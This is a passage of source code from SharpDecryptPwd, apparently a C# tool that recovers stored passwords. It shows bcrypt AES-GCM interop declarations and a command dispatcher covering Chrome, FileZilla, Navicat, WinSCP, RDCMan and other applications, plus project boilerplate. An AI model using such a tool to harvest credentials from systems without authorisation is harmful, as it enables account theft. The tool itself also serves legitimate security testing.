pbOutput, 45 | int cbOutput, 46 | ref int pcbResult, 47 | uint dwFlags); 48 | 49 | [DllImport("bcrypt.dll")] 50 | internal static extern uint BCryptDecrypt(IntPtr hKey, 51 | byte[] pbInput, 52 | int cbInput, 53 | ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, 54 | byte[] pbIV, 55 | int cbIV, 56 | byte[] pbOutput, 57 | int cbOutput, 58 | ref int pcbResult, 59 | int dwFlags); 60 | 61 | [StructLayout(LayoutKind.Sequential)] 62 | public struct BCRYPT_KEY_LENGTHS_STRUCT 63 | { 64 | public int dwMinLength; 65 | public int dwMaxLength; 66 | public int dwIncrement; 67 | } 68 | 69 | [StructLayout(LayoutKind.Sequential)] 70 | public struct BCRYPT_OAEP_PADDING_INFO 71 | { 72 | public BCRYPT_OAEP_PADDING_INFO(string alg) 73 | { 74 | pszAlgId = alg; 75 | pbLabel = IntPtr.Zero; 76 | cbLabel = 0; 77 | } 78 | 79 | [MarshalAs(UnmanagedType.LPWStr)] 80 | public string pszAlgId; 81 | public IntPtr pbLabel; 82 | public int cbLabel; 83 | } 84 | 85 | [StructLayout(LayoutKind.Sequential)] 86 | public struct BCRYPT_PSS_PADDING_INFO 87 | { 88 | public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt) 89 | { 90 | this.pszAlgId = pszAlgId; 91 | this.cbSalt = cbSalt; 92 | } 93 | 94 | [MarshalAs(UnmanagedType.LPWStr)] 95 | public string pszAlgId; 96 | public int cbSalt; 97 | } 98 | 99 | [StructLayout(LayoutKind.Sequential)] 100 | public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable 101 | { 102 | public int cbSize; 103 | public int dwInfoVersion; 104 | public IntPtr pbNonce; 105 | public int cbNonce; 106 | public IntPtr pbAuthData; 107 | public int cbAuthData; 108 | public IntPtr pbTag; 109 | public int cbTag; 110 | public IntPtr pbMacContext; 111 | public int cbMacContext; 112 | public int cbAAD; 113 | public long cbData; 114 | public int dwFlags; 115 | 116 | public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this() 117 | { 118 | dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION; 119 | cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO)); 120 | 121 | if (iv != null) 122 | { 123 | cbNonce = iv.Length; 124 | pbNonce = Marshal.AllocHGlobal(cbNonce); 125 | Marshal.Copy(iv, 0, pbNonce, cbNonce); 126 | } 127 | 128 | if (aad != null) 129 | { 130 | cbAuthData = aad.Length; 131 | pbAuthData = Marshal.AllocHGlobal(cbAuthData); 132 | Marshal.Copy(aad, 0, pbAuthData, cbAuthData); 133 | } 134 | 135 | if (tag != null) 136 | { 137 | cbTag = tag.Length; 138 | pbTag = Marshal.AllocHGlobal(cbTag); 139 | Marshal.Copy(tag, 0, pbTag, cbTag); 140 | 141 | cbMacContext = tag.Length; 142 | pbMacContext = Marshal.AllocHGlobal(cbMacContext); 143 | } 144 | } 145 | 146 | public void Dispose() 147 | { 148 | if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce); 149 | if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag); 150 | if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData); 151 | if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext); 152 | } 153 | } 154 | 155 | public const uint ERROR_SUCCESS = 0x00000000; 156 | public const uint BCRYPT_PAD_PSS = 8; 157 | public const uint BCRYPT_PAD_OAEP = 4; 158 | 159 | public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b); 160 | 161 | public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength"; 162 | public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM"; 163 | public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength"; 164 | public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode"; 165 | public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob"; 166 | public static readonly string BCRYPT_AES_ALGORITHM = "AES"; 167 | 168 | public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider"; 169 | 170 | public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001; 171 | public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001; 172 | 173 | public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002; 174 | } 175 | } 176 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | using SharpDecryptPwd.Domain; 4 | using SharpDecryptPwd.Helpers; 5 | using SharpDecryptPwd.Commands; 6 | using System.Collections.Generic; 7 | 8 | namespace SharpDecryptPwd 9 | { 10 | class Program 11 | { 12 | static string FileName = Assembly.GetExecutingAssembly().GetName().Name; 13 | 14 | /// 15 | /// 添加新方法 16 | /// 17 | private static Dictionary> AddDictionary() 18 | { 19 | Dictionary> _availableCommands = new Dictionary>(); 20 | _availableCommands.Add(Chrome.CommandName, () => new Chrome()); 21 | _availableCommands.Add(FileZilla.CommandName, () => new FileZilla()); 22 | _availableCommands.Add(Foxmail.CommandName, () => new Foxmail()); 23 | _availableCommands.Add(Navicat.CommandName, () => new Navicat()); 24 | _availableCommands.Add(RDCMan.CommandName, () => new RDCMan()); 25 | _availableCommands.Add(Xmanager.CommandName, () => new Xmanager()); 26 | _availableCommands.Add(TortoiseSVN.CommandName, () => new TortoiseSVN()); 27 | _availableCommands.Add(WinSCP.CommandName, () => new WinSCP()); 28 | _availableCommands.Add(Sunlogin.CommandName, () => new Sunlogin()); 29 | 30 | return _availableCommands; 31 | } 32 | 33 | /// 34 | /// 執行方法 35 | /// 36 | private static void MainExecute(string commandName, ArgumentParserContent parsedArgs) 37 | { 38 | Info.ShowLogo(); 39 | 40 | try 41 | { 42 | Writer.Line($"------------------ {commandName} ------------------\r\n"); 43 | var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs, AddDictionary()); 44 | 45 | // 如果未找到方法,則輸出使用方法 46 | if (commandFound == false) 47 | Info.ShowUsage(); 48 | } 49 | catch (Exception e) 50 | { 51 | Console.WriteLine($"\r\n[!] Unhandled {FileName} exception:\r\n"); 52 | Console.WriteLine(e.Message); 53 | } 54 | } 55 | 56 | static void Main(string[] args) 57 | { 58 | // 尝试解析命令行参数 59 | var parsed = ArgumentParser.Parse(args); 60 | if (parsed.ParsedOk == false) 61 | { 62 | Info.ShowLogo(); 63 | Info.ShowUsage(); 64 | return; 65 | } 66 | 67 | var commandName = args.Length != 0 ? args[0] : ""; 68 | MainExecute(commandName.ToLower(), parsed.Arguments); 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("SharpDecryptPwd")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpDecryptPwd")] 13 | [assembly: AssemblyCopyright("Copyright RcoIl © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | //将 ComVisible 设置为 false 将使此程序集中的类型 18 | //对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型, 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("1824ed63-be4d-4306-919d-9c749c1ae271")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值, 33 | // 方法是按如下所示使用“*”: : 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.8.0")] 36 | [assembly: AssemblyFileVersion("1.8.0")] 37 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 此代码由工具生成。 4 | // 运行时版本:4.0.30319.42000 5 | // 6 | // 对此文件的更改可能会导致不正确的行为,并且如果 7 | // 重新生成代码,这些更改将会丢失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace SharpDecryptPwd.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// 一个强类型的资源类,用于查找本地化的字符串等。 17 | /// 18 | // 此类是由 StronglyTypedResourceBuilder 19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 20 | // 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen 21 | // (以 /str 作为命令选项),或重新生成 VS 项目。 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// 返回此类使用的缓存的 ResourceManager 实例。 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SharpDecryptPwd.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// 使用此强类型资源类,为所有资源查找 51 | /// 重写当前线程的 CurrentUICulture 属性。 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /SharpDecryptPwd/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | -------------------------------------------------------------------------------- /SharpDecryptPwd/SharpDecryptPwd.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | zh-CN 11 | false 12 | 13 | 14 | -m Firefox 15 | 16 | 17 | chrome 18 | 19 | -------------------------------------------------------------------------------- /SharpDecryptPwd/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | --------------------------------------------------------------------------------